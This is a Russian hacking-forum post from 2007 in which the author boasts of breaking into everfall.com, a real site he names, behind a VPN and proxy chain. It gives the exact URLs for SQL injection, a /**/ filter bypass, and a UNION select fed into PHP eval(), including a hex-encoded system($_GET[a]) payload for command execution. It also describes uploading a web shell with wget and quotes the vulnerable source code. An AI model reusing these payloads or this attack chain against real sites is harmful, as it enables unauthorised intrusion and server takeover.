Авторские статьи SQL & PHP injection в одном флаконе

Discussion in 'Статьи' started by Cytech, 31 Aug 2007.

  1. Cytech

    Cytech Member

    Joined:
    9 Apr 2007
    Messages:
    4
    Likes Received:
    16
    Reputations:
    29
    Как был взломан everfall.com:
    PHP и SQL инъекции в одном флаконе


    Теплый августовский вечер, в наушниках долбит drum'n'bass. Проверив свое VPN подключение и цепочку соксов
    я открыл в браузере один малоинтересный ресурс, на котором можно постить куски своего кода и т.д.
    Вообщем, суть не в этом. А в процессе самого взлома.
    Первое, чтобросилось в глаза - это структура движка. Во-первых, он был написан на моем любимом
    скриптовом языке PHP, а во вторых, все параметры передавались ему ввиде QUERY_STRING, то есть:
    /index.php?параметр.
    Наивно полагая, что скрипт просто инклудит параметр или читает его я попробывалподставить строчку в
    виде ../../../../../../etc/passwd%00, однако ничего не вышло, а страница оказалось дефолтной. Этот
    вариант практически сразу отпал.

    Затем я попробывал передать в параметре кавычку, чтобы проверить сайт на наличие уязвимости класса
    SQL-injection:

    http://www.everfall.com/index.php?gamedev.ru'

    В ответ мне вернулась строка, характерищующая ошибку синтаксиса MySQL:

    fatal error: 1064:
    You have an error in your SQL syntax; check the manual that corresponds
    to your MySQL server version for the right syntax to use near ''gamedev.ru''' at line 1

    Итак, первое что я точно уже знал: скрипт уязвим перед SQL-инъекцией и в качестве базы данных
    выступает старый добрый MySQL.Тогда, чтобы проверить, можно ли использовать данную инъекцию
    для манипуляцией базой данных посредством UNION запросов я обратился к скрипту следующим образом:

    http://www.everfall.com/index.php?gamedev.ru'/*

    И запрос выполнился без ошибки... Вполне логично, ведь в запросе нам мешала всего одна кавычка, а с
    помощью последовательности символов /* мы закомментировали ее... Но радоваться было еще рано.
    Когда я уже начал подбирать количество столбцов, возникли проблемы:

    http://www.everfall.com/index.php?gamedev.ru'+order+by+10/*

    Передо мной появился вся таже ошибка! Тогда, немного повертев с подбором через union select я понял,
    что здесь есть какая-то фильтрация... Какая - мне предстоит выяснить. Тогда я попробывал обратиться
    к скрипту следующим образом:

    http://www.everfall.com/index.php?gamedev.ru'%20order%20by%2010/*

    В ответ я получил ошибку:
    fatal error: 1054: Unknown column '20order' in 'where clause'

    Это не ошибка подбора, как, возможно, подумали вы. Если бы мы подбирали количество колонок через order
    by и это количество не совпадало, то получили бы в ответ строку:

    Unknown column '10' in 'order clause'

    А здесь имеется какая-то синтаксическая ошибка... Я сразу обратил внимание на слово '20order', странно,
    возможно скрипт фильтровует и символ "%"? Возможно, скрипт фильтровал символы "+"
    и "%", которые выступают как пробелы или их вспомогатели. Выход из этой ситуации нашелся сразу: в
    MySQL пусто закрытый комментарий вида /**/ воспринимается как пробел ;)

    В итоге, правильно сформированный запрос, с абсолютным подбором выглядел так:

    http://www.everfall.com/index.php?gamedev.ru'/**/order/**/by/**/2/*

    Это означало, что в первом SELECT запросе содержится всего 2 колонки, а последующий мною внедряемый
    UNION также должен содержать для вывода 2 колонки.

    http://www.everfall.com/index.php?gamedev.ru'/**/union/**/select/**/1,2/*

    Страница вывелась без ошибок, однако ни одного поля (1,2) я не увидел на странице. А все потому, что
    первый запрос выполнился удачно и вывод на страницу идет только с него, поэтому необходимо сделать так,
    чтобы первый SELECT из запроса облажался, тогда второй UNION запрос выведет то, что мне надо. Например:

    http://www.everfall.com/index.php?cytech'/**/union/**/select/**/1,2/*

    И тут меня поразила эта картина. В заголовке странице <title> появилась цифра 1, а на том месте,
    гдепо идее должен быть текст, ничего не было. Точнее было, но совсем не то, что я, наверное, ожидал:

    Parse error: syntax error, unexpected $end in /home/1010/domains/www.everfall.com/html/index.php(89):
    eval()'d code on line 1

    Данная ошибка характеризует наличие неправильно выполненного PHP-кода посредством функции eval().
    Вам ведь наверное известно, что эта функция выполняет какой либо PHP-код.
    Но я не сразу сообразил, в чем дело. Сначало я попробывал узнать версию MySQL, а также пользователя
    и название базы данных с помощью функций: version(), user(), database(). Как оказалось, версия
    MySQL была старой 4.x - но это меня не обрадовало, ведь в этой версии демона не предусмотрена
    information_schema - таблица в базе, в которой хранится структура всей базы данных, что всегда
    помогает при взломе: угадывать ничего не приходится ;)
    Также выяснилось, что у моего пользователя нету привелегий file_priv. Это привелегии, позволяющие
    через MySQL работать с файлами. Например, с помощью LOAD_FILE прочитать какой либо файл, а через
    INTO OUTFILE можно даже залить вэб-шелл.
    Таблицы пришлось банально угадывать. Спустя пять минут неудачного брутфорса, я вышел покурить и
    задумался о той самой ошибке в eval(). В голову пришла одна мысль. Возможно, что с таблице, из
    которой достаются данные, содержат в первой колонке название страницы, которое выводится в title,
    (также могло бы послужить для атаки класса SQL injection over Passive XSS), а во второй тот колонке
    PHP-код, который, собственно, и выводит ошибку, так как вместо кода в eval подставлялась "2".
    Обратившись к скрипту следующим образом, стараясь вызвать функцию phpinfo():

    http://www.everfall.com/index.php?cytech'/**/union/**/select/**/1,"phpinfo();"/*

    Я получил ошибку синтаксиса SQL. Недолго думая я закодировал строку "phpinfo();" в HEX и подставил
    следующим образом:

    http://www.everfall.com/index.php?cytech'/**/union/**/select/**/1,0x706870696e666f28293b/*

    И передо мной предстал вывод функции phpinfo()! Неверя своим глазам и в то же время восхищаясь собой
    я сразу хотел получить вэб шелл. Из phpinfo() мне удалось узнать, что safe_mode выключен, значит
    проблем никаких не будет.

    http://www.everfall.com/index.php?cytech'/**/union/**/select/**/1,0x73797374656d28245f4745545b615d293b/*&a=ls

    В закодированной строке хранится код system($_GET[a]). Что это такое вы наверняка знаете:
    на экране была выведена команда ls - листинг файлов в текущий директории со скриптом.

    Налив очередную кружку кофе я выяснил, что мои права в системе - права оунера сайта. На серваке был
    установлен многопроцессорный (SMP) Linux 2.6.20, а также wget, с помощью которого я залил
    вэб-шелл в одну из папок, доступных для записи.

    Затем мне стало интересно взглянуть на исходный код того, что я так усердно взламывал. Первая моя
    ошибочная догадка была в том, что фильтрации были - ничего подобного.
    Обратите внимание на переменню $cover:

    PHP:
    $cover $HTTP_SERVER_VARS['argv'][0];
    Из всей QUERY_STRING скрипт получал только 1 параметр, а разделителем этих параметров был пробел. То есть
    из всей QUERY_STRING равной например "cytechoid owned joo" в $cover попало бы только "cytechoid".
    Но и это оказалось не проблемой. Идем далее. SQL-инъекция в функции mysql_query() на лицо:

    PHP:
    $dbquery mysql_query("select displayname, displaylink from {$setup['table']} where name = '$cover'")
    or 
    dbdie();
    $dbrow mysql_fetch_row($dbquery);
    if (
    $dbrow)
    {     
      
    $displayname $dbrow[0];
      
    $displaylink $dbrow[1]; 
    }
    В конце концов получая данные параметры, скрипт выполнял следующий код, который послужил поводом для
    уязвимости PHP-injection:

    PHP:
    <?php eval($displaylink); ?></td> 
    и практически бесполезной SiXSS:
    PHP:
    echo "<title> $displayname </title>";
    С вами был Cytech.

    hellknights.void.ru
    forum.antichat.ru
     
    #1 Cytech, 31 Aug 2007
    Last edited: 18 Jan 2008
    10 people like this.
  2. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    видел я подобную ересь на одном ру сайте =\
    помню ещё на другом сайте была функция fopen()